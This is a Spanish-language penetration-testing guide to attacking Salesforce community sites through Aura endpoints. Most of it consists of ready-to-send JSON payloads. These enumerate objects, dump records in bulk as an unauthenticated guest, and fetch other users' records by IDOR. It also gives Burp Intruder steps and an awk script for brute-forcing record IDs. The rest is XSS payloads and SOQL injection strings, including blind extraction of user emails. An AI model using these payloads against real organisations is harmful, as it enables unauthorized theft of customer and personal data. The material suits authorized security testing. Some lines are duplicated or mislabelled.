Salesforce

Salesforce representa una plataforma de Customer Relationship Management (CRM) basada en la nube que utiliza arquitecturas multi-tenant y tecnologías web modernas como Aura Framework y Lightning Web Components (LWC).

La plataforma implementa un modelo de seguridad basado en perfiles, conjuntos de permisos y configuraciones de sharing, creando múltiples vectores de enumeración y potencial elevación de privilegios. Los componentes Aura, en particular, exponen endpoints específicos que pueden ser explotados para reconocimiento avanzado y extracción de información, mientras que las clases Apex y consultas SOQL presentan oportunidades de explotación del lado servidor.

Reconocimiento

Identificación de componentes Aura

Los componentes Aura constituyen el framework JavaScript de Salesforce para desarrollo de aplicaciones dinámicas. La identificación de objetivos comienza con enumeración DNS para dominios que terminan en *.force.com, *.secure.force.com y *.live.siteforce.com.

Los componentes Aura constituyen el framework JavaScript de Salesforce para desarrollo de aplicaciones dinámicas.

Rutas comunes

/s/sfsites/aura
/aura
/sfsites/aura
/sales/aura

Identificadores de contenido Aura

"actions":[
aura:clientOutOfSync
aura:invalidSession
aura.context
aura.token
aura.fwuid
markup://

Descriptores de enumeración interesantes

Los controladores Aura exponen funcionalidades específicas para extracción de metadatos y enumeración de objetos:

HostConfigController

Devuelve datos de app con lista de objetos accesibles y a menudo objetos personalizados bajo apiNamesToKeyPrefixes, sin parámetros.

HostConfigController/ACTION$getConfigData

OneController

Devuelve información de la app y a veces un listado extendido de objetos, sin parámetros.

OneController/ACTION$getCurrentApp

RecordUiController

Definición completa de objeto, campos, relaciones y permisos por perfil

Dado objectApiName, devuelve definición del objeto, campos y relaciones, útil para validar acceso por perfil/usuario.

aura://RecordUiController/ACTION$getObjectInfo

SelectableListDataProviderController

Enumeración de registros con paginación.

Parámetros: entityNameOrId, pageSize (máximo 1000), layoutType (FULL para máxima información)

SelectableListDataProviderController/ACTION$getItems

DetailController

Recupera un registro por recordId cuando existen permisos.

DetailController/ACTION$getRecord

ScopedResultsDataProviderController

Búsqueda para términos de al menos 4 caracteres.

ScopedResultsDataProviderController/ACTION$getLookupItems

ProfileMenuController

Detalles menores del usuario actual, ayuda a confirmar contexto de permisos.

ProfileMenuController/ACTION$getProfileMenuResponse

ListUiController

Enumera listas definidas para un objeto, útil para comprender vistas disponibles.

ListUiController/ACTION$getListsByObjectName

Enumeración de objetos

El payload mostrado para HostConfigController retorna apiNamesToKeyPrefixes, donde __c indica objetos personalizados; este paso funciona tanto para invitado como autenticado según configuración de la comunidad.

Los objetos pueden ser enumerados modificando el parámetro message por el siguiente payload:

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData","callingDescriptor":"UNKNOWN","params":{}}]}

Se pueden extraer los objetos personalizados debido a que la cadena termina con __c, por lo que, usando el siguiente comando, se puede obtener la lista de objetos:

cat objects_response.json | grep "__c\"" | cut -d "\"" -f2

La lista completa de objetos en Salesforce se puede consultar en:

  • https://developer.salesforce.com/docs/atlas.en-us.object_reference.meta/object_reference/sforce_api_objects_list.htm

Si se quiere obtener la lista actualizada de objetos de Salesforce, puedes usar tu IA de confianza para extraer la información con el siguiente prompt:

Necesito una lista completa de todos los objetos que se encuentran en la siguiente URL para usarlo en intruder, de Burp Suite. Necesito que sea en formato TXT: https://developer.salesforce.com/docs/atlas.en-us.object_reference.meta/object_reference/sforce_api_objects_list.htm

Esto dará una lista como la siguiente:

Case
Account
Address
Activity
User
Contact
Document
ContentDocument
ContentVersion
ContentBody
CaseComment
Campaign
Note
Employee
Attachment
EmailMessage
CaseExternalDocument
Attachment
Lead
Task
Name
EmailTemplate
EmailMessageRelation
...

Uniendo la lista de objetos por defecto y la lista de objetos personalizados, se podrá crear una lista que luego se podrá usar con intruder para obtener los registros de dichos objetos.

Enumeración de registros de objetos

Con intruder (Burp Suite) es posible automatizar la obtención de información de cada uno de los objetos:

  1. Se copia la lista en la sección de "Payloads" de intruder, seleccionando la opción de "Simple list".

  2. Se modifica el parámetro message de la petición con el siguiente payload.

  3. Se cambia itera sobre el valor de entityNameOrId.

  4. Se modifica pageSize con un valor en el rango 100–1000 y currentPage para paginar.

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"§object§","layoutType":"FULL","pageSize":1000,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}

Ejemplo de json de la respuesta:

{
  "actions": [
    {
      "id": "123;a",
      "state": "SUCCESS",
      "returnValue": {
        "result": [
          {
            "record": {
              "Id": "0015g00000A7T3AAK",
              "Origin": "test",
              "LastModifiedDate": "2024-06-19T08:17:57.000Z",
              "Account": null
            }
          },
          {
            "record": {
              "Id": "0015g00000B5T7BBL",
              "Origin": "email",
              "LastModifiedDate": "2024-06-20T10:30:00.000Z",
              "Account": "123456"
            }
          }
        ]
      }
    }
  ]
}

Si se copia el json de la respuesta, es posible filtrar con jd el resultado obtenido. Por ejemplo:

  • Obtención de identificadores de registros:

jq -r '.actions[0].returnValue.result[].record.Id' data.json

Patrones de IDs y prefijos

Los identificadores de Salesforce implementan un esquema de prefijos de 3 caracteres seguidos de 15 dígitos alfanuméricos (case-sensitive):

Prefijos estándar críticos:

  • 005: User

  • 500: Case

  • 001: Account

  • 003: Contact

  • 00Q: Lead

  • a00: Custom Objects (variable)

En los siguientes enlaces se encuentran los identificadores por defecto:

Generación de patrones para brute force:

Si se quiere identificar cuáles son los caracteres que varían en los identificadores para posteriormente realizar un ataque de fuerza bruta para obtener identificadores no conocidos, se puede usar el siguiente comando:

awk 'NR==1{for(i=1;i<=length($0);i++) c[i]=substr($0,i,1)}
     NR>1{for(i=1;i<=length($0);i++) if(c[i]!=substr($0,i,1)) c[i]="?"}
     END{print; for(i=1;i<=length($0);i++) printf "%s", c[i]; print ""}' ids.txt

Ejemplo de salida:

4007N01000?????SA?

Vulnerabilidades

Acceso como usuario invitado

El contexto de usuario invitado representa el vector de ataque más crítico, ya que el acceso no autenticado ocurre cuando aura.token=null o aura.token=undefined. Esta configuración permite a los atacantes explotar permisos de objeto mal configurados, ejecutar métodos Apex privilegiados y extraer datos sensibles sin autenticación.

Referencia directa segura a objetos

Los ataques de Insecure Direct Object Reference (IDOR) en Salesforce trascienden la simple modificación de parámetros. La plataforma implementa múltiples capas de control de acceso que incluyen permisos a nivel de objeto, campo y registro.

{
  "actions": [{
    "descriptor": "serviceComponent://ui.force.components.controllers.detail.DetailController/ACTION$getRecord", 
    "params": {
      "recordId": "TARGET_RECORD_ID",
      "layoutType": "FULL",
      "modes": ["VIEW"]
    }
  }]
}

Acceso a información de objetos no autorizados, por ejemplo, habiendo iniciado sesión con el usuario A, modificar el recordId por el del usuario B.

  • recordId: "0015g00000A7T3AAK" → Usuario A

  • recordId: "0015g00000B5T7BBL" → Usuario B

Exposición de información sensible vía token y contexto

Los parámetros aura.context (base64) y aura.token (jwt) están codificados en urlencode y base64, por lo que, se puede decodificar el contenido de los mismos y buscar información sensible que pueda estar expuesta.

XSS

// Inyección SVG - URLInyección SOQL
?aura.tag=%3Csvg%20onload%3Dalert%28document.domain%29%3E&aura.format=JSON

// Inyección de atributo de componente
{!'">\<script\>alert(document.domain)\</script\>'}

// Explotación de manejador de eventos Lightning  
\<lightning:button onclick="{!c.handleClick}" label="Click" data-payload="javascript:alert(1)"/\>

// Escape de contexto de componente Aura
\<aura:if isTrue="{!and(true,true)}"\>\<script\>alert('XSS')\</script\>\</aura:if\>

Inyección SOQL

SOQL (Salesforce Object Query Language) difiere significativamente del SQL tradicional pero sigue siendo vulnerable a ataques de inyección cuando la entrada del usuario se concatena directamente en las consultas.

// Payload básico de exfiltración de datos
%' AND Performance_rating__c<2 AND Name LIKE '%

// Acceso a datos de objetos cruzados
%' OR Account.Industry = 'Healthcare' OR Name LIKE '%

// Técnica de enumeración de campos
%' OR (Name LIKE '%' AND CreatedBy.VerySecretFlag__c != null) OR Name LIKE '%

// Inyección vulnerable en campo numérico
1 OR 1=1 LIMIT 1000

Técnicas de inyección basadas en errores explotan parámetros contentDocumentId a través de análisis de mensajes de respuesta:

  • Documento válido: "Cannot invoke 'common.udd.EntityInfo.getEntityId()'"

  • Documento inválido: "Error in retrieving content document"

069TP00000HbJbNYAV' AND OwnerId IN (SELECT Id FROM User WHERE Email LIKE 'a%') AND ContentDocumentId != '

Referencias

Última actualización

¿Te fue útil?